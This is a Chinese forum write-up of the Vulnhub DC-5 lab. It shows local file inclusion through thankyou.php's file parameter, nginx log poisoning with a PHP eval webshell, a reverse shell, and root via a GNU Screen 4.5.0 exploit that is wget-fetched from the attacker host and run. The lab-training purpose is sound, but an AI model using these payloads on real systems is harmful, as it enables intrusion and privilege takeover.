找回密码
 立即注册
首页 业界区 安全 DC-5复盘笔记

DC-5复盘笔记

能拘 昨天 14:34
日志文件包含
nmap扫描
  1. ┌──(kali㉿kali)-[~/Vulnhub/dc5]
  2. └─$ nmap -sT --min-rate 10000 -p- 192.168.140.94 -oA nmapscan/ports  
  3. Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 22:55 EDT
  4. Nmap scan report for 192.168.140.94
  5. Host is up (0.0021s latency).
  6. Not shown: 65532 closed tcp ports (conn-refused)
  7. PORT      STATE SERVICE
  8. 80/tcp    open  http
  9. 111/tcp   open  rpcbind
  10. 42496/tcp open  unknown(42496 是 rpc.statd(NFS 状态服务)动态分配的 RPC 服务端口)
  11. MAC Address: 08:00:27:A9:4A:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
  12. Nmap done: 1 IP address (1 host up) scanned in 130.00 seconds
  13.                                                                      
  14. ┌──(kali㉿kali)-[~/Vulnhub/dc5]
  15. └─$ nmap -sT -sC -sV -O -p80,111,42496 192.168.140.94 -oA nmapscan/detail
  16. Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 22:58 EDT
  17. Nmap scan report for 192.168.140.94
  18. Host is up (0.0017s latency).
  19. PORT      STATE SERVICE VERSION
  20. 80/tcp    open  http    nginx 1.6.2
  21. |_http-server-header: nginx/1.6.2
  22. |_http-title: Welcome
  23. 111/tcp   open  rpcbind 2-4 (RPC #100000)
  24. | rpcinfo:
  25. |   program version    port/proto  service
  26. |   100000  2,3,4        111/tcp   rpcbind
  27. |   100000  2,3,4        111/udp   rpcbind
  28. |   100000  3,4          111/tcp6  rpcbind
  29. |   100000  3,4          111/udp6  rpcbind
  30. |   100024  1          38651/tcp6  status
  31. |   100024  1          42496/tcp   status
  32. |   100024  1          49034/udp6  status
  33. |_  100024  1          50944/udp   status
  34. 42496/tcp open  status  1 (RPC #100024)
  35. MAC Address: 08:00:27:A9:4A:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
  36. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  37. Device type: general purpose
  38. Running: Linux 3.X|4.X
  39. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  40. OS details: Linux 3.2 - 4.14
  41. Network Distance: 1 hop
  42. ┌──(kali㉿kali)-[~/Vulnhub/dc5]
  43. └─$ nmap --script=vuln -p80,111,42496 192.168.140.94 -oA nmapscan/vuln
  44. Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 23:00 EDT
  45. Nmap scan report for 192.168.140.94
  46. Host is up (0.0012s latency).
  47. PORT      STATE SERVICE
  48. 80/tcp    open  http
  49. |_http-dombased-xss: Couldn't find any DOM based XSS.
  50. | http-csrf:
  51. | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.140.94
  52. |   Found the following possible CSRF vulnerabilities:
  53. |     
  54. |     Path: http://192.168.140.94:80/contact.php
  55. |     Form id: fname
  56. |_    Form action: thankyou.php
  57. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
  58. 111/tcp   open  rpcbind
  59. 42496/tcp open  unknown
  60. MAC Address: 08:00:27:A9:4A:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
  61. Nmap done: 1 IP address (1 host up) scanned in 80.33 seconds
复制代码
没有扫描出什么重要信息
web

在vulnhub官网上可以看到相关hint:
  1. As far as I am aware, there is only one exploitable entry point to get in
  2. (there is no SSH either).
  3. This particular entry point may be quite hard to identify, but it is there.
  4. You need to look for something a little out of the ordinary
  5. (something that changes with a refresh of a page).
  6. This will hopefully provide some kind of idea as to what the vulnerability might involve.
  7. 据我所知,只有一个可利用的入口点可以进入(也没有 SSH)。
  8. 这个特定的入口点可能很难识别,但它就在那里。您需要寻找一些与众不同的东西
  9. (随着页面刷新而变化的东西)。这有望为漏洞可能涉及的内容提供某种想法。
  10. And just for the record, there is no phpmailer exploit involved. :-)
  11. 仅供记录,不涉及 phpmailer 漏洞。:-)
复制代码
刷新页面,没有发生任何变化
在contact.php有唯一可以交互的表单
1.png

随便填点东西进去
submit 过后,会转到这个url:
http://192.168.140.94/thankyou.php?firstname=1&lastname=1&country=australia&subject=1
2.png

在这个页面刷新,可以发现底下的年份会改变
查看源码
  1.                         <footer>
  2.                                 Copyright © 2018                        </footer>
  3.                
复制代码
在一个 PHP 的 CMS(内容管理系统)中,常见会有一个名为 **footer.php** 的文件,专门用于管理网页底部的 HTML 代码(例如这个  标签)
MVC 分离 / 模板重用 是大多数 CMS(比如 WordPress、ThinkPHP、Discuz、Drupal、Joomla 等)所采用的设计原则。为了便于维护,通常会将页面结构拆成几个部分,例如:
文件名用途说明header.php网页头部内容(如
、导航栏)footer.php页脚内容(如版权、备案号、脚本)sidebar.php侧边栏内容index.php首页逻辑content.php主体内容部分这里已经在html写了Copyright © 2018,那会不会有可能通过文件包含的方式把其他年份(比如用footer.php)将其包含进去呢
查看同一目录下是否有footer.php
3.png

发现每次刷新,这个年份都会变,印证了之前的猜想,大概率是有文件包含的
对这个路径进行FUZZ测试,查看是否有别的参数:
  1. wfuzz -u http://192.168.140.94/thankyou.php?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh=851
  2. /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
  3. ********************************************************
  4. * Wfuzz 3.1.0 - The Web Fuzzer                         *
  5. ********************************************************
  6. Target: http://192.168.140.94/thankyou.php?FUZZ=test
  7. Total requests: 6453
  8. =====================================================================
  9. ID           Response   Lines    Word       Chars       Payload              
  10. =====================================================================
  11. 000002206:   200        42 L     63 W       835 Ch      "file"               
  12. Total time: 0
  13. Processed Requests: 6453
  14. Filtered Requests: 6452
  15. Requests/sec.: 0
复制代码
可以看到有一个file参数,尝试赋值index.php
4.png

看到是可以正常文件包含的
5.png

尝试远程文件包含
6.png

似乎无法利用
稍微对文件包含的值做一个测试,看看能包含什么可以利用的文件
**LFI-LFISuite-pathtotest-huge.txt**** 是LFI中最全面、最庞大的敏感文件路径列表**,适合做 LFI 路径暴力测试。
刚才看了下,这个目录下的字典好像都没有囊括日志文件
手测日志文件是否能包含
之前nmap详细扫描得到:80/tcp    open  http    nginx 1.6.2
尝试包含/var/log/ningx/access.log
成功包含
现在需要构造合适的请求,看看能否包含
这里实验了一下,
1 如果直接在url或hackbar构造/muma
日志没有成功解析php,会显示url编码的木马"GET /hahahhaha%3C?php%20@eval($_POST[%27a%27]);?%3E HTTP/1.1" 404 142
这样的形式。直接hackbar post请求也是不行的
2 尽量把 PHP 代码放到日志的“主体”部分
比如尝试放到 User-Agent、Referer、Cookie 等头部字段,通常这部分内容更干净,日志里也更容易被 PHP 解释。
试了在hackbar user-agent解析成功
  1. - [26/Jul/2025:14:11:29 +1000] "GET / HTTP/1.1" 200 1718 "-" "ooooooooops" 192.168.140.122  
复制代码
7.png

3 burpsuite还是直接放在请求中
  1. GET / HTTP/1.1
  2. Host: 192.168.140.94
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
  9. 改为
  10. GET /OoOoOps<?php @eval($_POST['a']);?>  HTTP/1.1
  11. Host: 192.168.140.94
  12. Upgrade-Insecure-Requests: 1
  13. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
  14. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  15. Accept-Encoding: gzip, deflate
  16. Accept-Language: zh-CN,zh;q=0.9
  17. Connection: close
复制代码
回显:
  1. "GET /OoOoOps HTTP/1.1" 404 200  
复制代码
这样请求也是可以解析成功的
使用蚁剑连接
8.png

连接成功
在蚁剑的虚拟shell上反弹shell
9.png

提权
  1. ┌──(kali㉿kali)-[/usr/share/seclists/Fuzzing/LFI]
  2. └─$ nc -lvnp 1234                                                
  3. listening on [any] 1234 ...
  4. connect to [192.168.140.200] from (UNKNOWN) [192.168.140.94] 49702
  5. /bin/sh: 0: can't access tty; job control turned off
  6. $ whoami
  7. www-data
  8. $ sudo -l
  9. /bin/sh: 2: sudo: not found
  10. $ id     
  11. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  12. $ find / -perm -u=s -type f 2>/dev/null
  13. /bin/su
  14. /bin/mount
  15. /bin/umount
  16. /bin/screen-4.5.0
  17. /usr/bin/gpasswd
  18. /usr/bin/procmail
  19. /usr/bin/at
  20. /usr/bin/passwd
  21. /usr/bin/chfn
  22. /usr/bin/newgrp
  23. /usr/bin/chsh
  24. /usr/lib/openssh/ssh-keysign
  25. /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  26. /usr/lib/eject/dmcrypt-get-device
  27. /usr/sbin/exim4
  28. /sbin/mount.nfs
  29. $
复制代码
suid中这个程序很有意思,而且给了版本:/bin/screen-4.5.0
searchsploit:
  1. ┌──(kali㉿kali)-[~/Vulnhub/dc5]
  2. └─$ searchsploit screen 4.5.0
  3. ---------------------------------------------------- ---------------------------------
  4. Exploit Title                                      |  Path
  5. ---------------------------------------------------- ---------------------------------
  6. GNU Screen 4.5.0 - Local Privilege Escalation       | linux/local/41154.sh
  7. GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | linux/local/41152.txt
  8. ---------------------------------------------------- ---------------------------------
  9. Shellcodes: No Results
复制代码
拷贝这个脚本
  1. ┌──(kali㉿kali)-[~/Vulnhub/dc5]
  2. └─$ searchsploit screen -m 41154
  3. [!] Could not find EDB-ID #
  4.   Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
  5.       URL: https://www.exploit-db.com/exploits/41154
  6.      Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
  7.     Codes: N/A
  8. Verified: True
  9. File Type: Bourne-Again shell script, ASCII text executable
  10. Copied to: /home/kali/Vulnhub/dc5/41154.sh                                                                                    
  11. ┌──(kali㉿kali)-[~/Vulnhub/dc5]
  12. └─$ php -S 0:80     
  13. [Sat Jul 26 00:49:16 2025] PHP 8.4.4 Development Server (http://0:80) started
  14. [Sat Jul 26 00:50:00 2025] 192.168.140.94:44684 Accepted
  15. [Sat Jul 26 00:50:00 2025] 192.168.140.94:44684 [200]: GET /41154.sh
  16. [Sat Jul 26 00:50:00 2025] 192.168.140.94:44684 Closing
复制代码
  1. $ cd /tmp
  2. $ ls
  3. f
  4. $ wget http://192.168.140.200/41154.sh
  5. converted 'http://192.168.140.200/41154.sh' (ANSI_X3.4-1968) -> 'http://192.168.140.200/41154.sh' (UTF-8)
  6. --2025-07-26 14:49:44--  http://192.168.140.200/41154.sh
  7. Connecting to 192.168.140.200:80... connected.
  8. HTTP request sent, awaiting response... 200 OK
  9. Length: 1149 (1.1K) [application/x-sh]
  10. Saving to: '41154.sh'
  11.      0K .                                                     100% 64.8M=0s
  12. 2025-07-26 14:49:44 (64.8 MB/s) - '41154.sh' saved [1149/1149]
  13. $ ls
  14. 41154.sh
  15. f
  16. $ chmod +x 41154.sh
  17. $ ./41154.sh
  18. ~ gnu/screenroot ~
  19. [+] First, we create our shell and library...
  20. [+] Now we create our /etc/ld.so.preload file...
  21. [+] Triggering...
  22. ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
  23. [+] done!
  24. No Sockets found in /tmp/screens/S-www-data.
  25. id
  26. uid=0(root) gid=0(root) groups=0(root),33(www-data)
  27. whoami
  28. root
  29. cd /root
  30. ls
  31. thisistheflag.txt
  32. cat thisistheflag.txt
  33. 888b    888 d8b                                                      888      888 888 888
  34. 8888b   888 Y8P                                                      888      888 888 888
  35. 88888b  888                                                          888      888 888 888
  36. 888Y88b 888 888  .d8888b .d88b.       888  888  888  .d88b.  888d888 888  888 888 888 888
  37. 888 Y88b888 888 d88P"   d8P  Y8b      888  888  888 d88""88b 888P"   888 .88P 888 888 888
  38. 888  Y88888 888 888     88888888      888  888  888 888  888 888     888888K  Y8P Y8P Y8P
  39. 888   Y8888 888 Y88b.   Y8b.          Y88b 888 d88P Y88..88P 888     888 "88b  "   "   "  
  40. 888    Y888 888  "Y8888P "Y8888        "Y8888888P"   "Y88P"  888     888  888 888 888 888
  41.                                                                                           
  42.                                                                                           
  43. Once again, a big thanks to all those who do these little challenges,
  44. and especially all those who give me feedback - again, it's all greatly
  45. appreciated.  :-)
  46. I also want to send a big thanks to all those who find the vulnerabilities
  47. and create the exploits that make these challenges possible.
复制代码
提权成功

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册